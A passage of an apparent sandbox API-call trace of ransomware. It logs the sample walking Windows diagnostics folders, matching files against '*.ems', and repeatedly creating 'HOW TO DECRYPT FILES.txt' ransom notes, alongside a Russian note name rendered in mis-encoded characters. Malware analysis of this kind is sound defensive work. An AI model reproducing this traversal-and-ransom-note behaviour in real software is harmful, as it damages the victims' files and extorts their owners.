(pszFile="C:\\Windows\\diagnostics\\system\\AERO\\DesktopWindowsMgmt.dll", pszSpec="*.ems") returned 0 [0126.253] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.254] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.254] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.254] lstrcmpiA (lpString1="", lpString2="DiagPackage.diagpkg") returned -1 [0126.254] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\DesktopWindowsMgmt.dll") returned="DesktopWindowsMgmt.dll" [0126.254] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.254] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.254] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.254] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.254] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.254] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.255] CloseHandle (hObject=0xffffffff) returned 0 [0126.255] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="DiagPackage.diagpkg" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\DiagPackage.diagpkg") returned="C:\\Windows\\diagnostics\\system\\AERO\\DiagPackage.diagpkg" [0126.255] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\DiagPackage.diagpkg", pszSpec="*.ems") returned 0 [0126.255] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.255] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll") returned 1 [0126.255] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll") returned 1 [0126.255] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll") returned -1 [0126.255] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.255] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.255] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.255] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.255] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.255] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.256] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.256] CloseHandle (hObject=0xffffffff) returned 0 [0126.256] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="DiagPackage.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\DiagPackage.dll") returned="C:\\Windows\\diagnostics\\system\\AERO\\DiagPackage.dll" [0126.256] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\DiagPackage.dll", pszSpec="*.ems") returned 0 [0126.256] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.256] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.256] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\DiagPackage.dll") returned="DiagPackage.dll" [0126.256] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="en-US" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\en-US") returned="C:\\Windows\\diagnostics\\system\\AERO\\en-US" [0126.257] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23bd00cf, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f1286, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.257] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.257] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.257] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.257] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.257] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0126.257] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0126.257] lstrcmpiA (lpString1="", lpString2="CL_LocalizationData.psd1") returned -1 [0126.258] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\*.*") returned="*.*" [0126.258] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\" [0126.258] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\") returned="" [0126.258] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\HOW TO DECRYPT FILES.txt" [0126.258] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.258] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.258] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.258] CloseHandle (hObject=0xffffffff) returned 0 [0126.258] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\", lpString2="CL_LocalizationData.psd1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\CL_LocalizationData.psd1") returned="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\CL_LocalizationData.psd1" [0126.259] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\CL_LocalizationData.psd1", pszSpec="*.ems") returned 0 [0126.259] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.259] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.259] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.259] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll.mui") returned -1 [0126.259] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0126.259] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\" [0126.259] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\") returned="" [0126.259] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\HOW TO DECRYPT FILES.txt" [0126.259] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.259] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.260] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.260] CloseHandle (hObject=0xffffffff) returned 0 [0126.260] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\", lpString2="DiagPackage.dll.mui" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\DiagPackage.dll.mui") returned="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\DiagPackage.dll.mui" [0126.260] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\en-US\\DiagPackage.dll.mui", pszSpec="*.ems") returned 0 [0126.260] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.260] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MF_AERODiagnostic.ps1") returned -1 [0126.260] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MF_AERODiagnostic.ps1") returned -1 [0126.260] lstrcmpiA (lpString1="", lpString2="MF_AERODiagnostic.ps1") returned -1 [0126.261] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\*.*") returned="*.*" [0126.261] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.261] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.261] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.261] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.261] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.261] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.261] CloseHandle (hObject=0xffffffff) returned 0 [0126.261] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="MF_AERODiagnostic.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\MF_AERODiagnostic.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\MF_AERODiagnostic.ps1" [0126.261] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\MF_AERODiagnostic.ps1", pszSpec="*.ems") returned 0 [0126.262] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.262] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MonitorSnapIn.dll") returned -1 [0126.262] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MonitorSnapIn.dll") returned -1 [0126.262] lstrcmpiA (lpString1="", lpString2="MonitorSnapIn.dll") returned -1 [0126.262] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\MF_AERODiagnostic.ps1") returned="MF_AERODiagnostic.ps1" [0126.262] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.262] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.262] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.262] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.262] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.263] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.263] CloseHandle (hObject=0xffffffff) returned 0 [0126.263] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="MonitorSnapIn.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\MonitorSnapIn.dll") returned="C:\\Windows\\diagnostics\\system\\AERO\\MonitorSnapIn.dll" [0126.263] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\MonitorSnapIn.dll", pszSpec="*.ems") returned 0 [0126.263] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.263] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ChangeColorDepth.ps1") returned -1 [0126.263] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ChangeColorDepth.ps1") returned -1 [0126.263] lstrcmpiA (lpString1="", lpString2="RS_ChangeColorDepth.ps1") returned -1 [0126.263] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\MonitorSnapIn.dll") returned="MonitorSnapIn.dll" [0126.263] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.263] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.264] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.264] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.264] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.264] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.264] CloseHandle (hObject=0xffffffff) returned 0 [0126.264] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="RS_ChangeColorDepth.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\RS_ChangeColorDepth.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\RS_ChangeColorDepth.ps1" [0126.264] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\RS_ChangeColorDepth.ps1", pszSpec="*.ems") returned 0 [0126.265] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.265] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ColorTheme.ps1") returned -1 [0126.265] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ColorTheme.ps1") returned -1 [0126.265] lstrcmpiA (lpString1="", lpString2="RS_ColorTheme.ps1") returned -1 [0126.265] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\RS_ChangeColorDepth.ps1") returned="RS_ChangeColorDepth.ps1" [0126.265] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.265] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.265] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.265] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.265] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.266] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.266] CloseHandle (hObject=0xffffffff) returned 0 [0126.266] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="RS_ColorTheme.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\RS_ColorTheme.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\RS_ColorTheme.ps1" [0126.266] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\RS_ColorTheme.ps1", pszSpec="*.ems") returned 0 [0126.266] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.266] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_DWMEnable.ps1") returned -1 [0126.266] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_DWMEnable.ps1") returned -1 [0126.266] lstrcmpiA (lpString1="", lpString2="RS_DWMEnable.ps1") returned -1 [0126.266] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\RS_ColorTheme.ps1") returned="RS_ColorTheme.ps1" [0126.266] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.266] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.266] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.267] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.267] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.267] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.267] CloseHandle (hObject=0xffffffff) returned 0 [0126.267] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="RS_DWMEnable.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\RS_DWMEnable.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\RS_DWMEnable.ps1" [0126.267] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\RS_DWMEnable.ps1", pszSpec="*.ems") returned 0 [0126.267] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.267] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_PowerPolicySetting.ps1") returned -1 [0126.268] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_PowerPolicySetting.ps1") returned -1 [0126.268] lstrcmpiA (lpString1="", lpString2="RS_PowerPolicySetting.ps1") returned -1 [0126.268] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\RS_DWMEnable.ps1") returned="RS_DWMEnable.ps1" [0126.268] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.268] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.268] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.268] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.268] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.268] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.273] CloseHandle (hObject=0xffffffff) returned 0 [0126.273] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="RS_PowerPolicySetting.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\RS_PowerPolicySetting.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\RS_PowerPolicySetting.ps1" [0126.273] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\RS_PowerPolicySetting.ps1", pszSpec="*.ems") returned 0 [0126.273] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.273] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_Themes.ps1") returned -1 [0126.273] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_Themes.ps1") returned -1 [0126.273] lstrcmpiA (lpString1="", lpString2="RS_Themes.ps1") returned -1 [0126.273] PathFindFileNameA 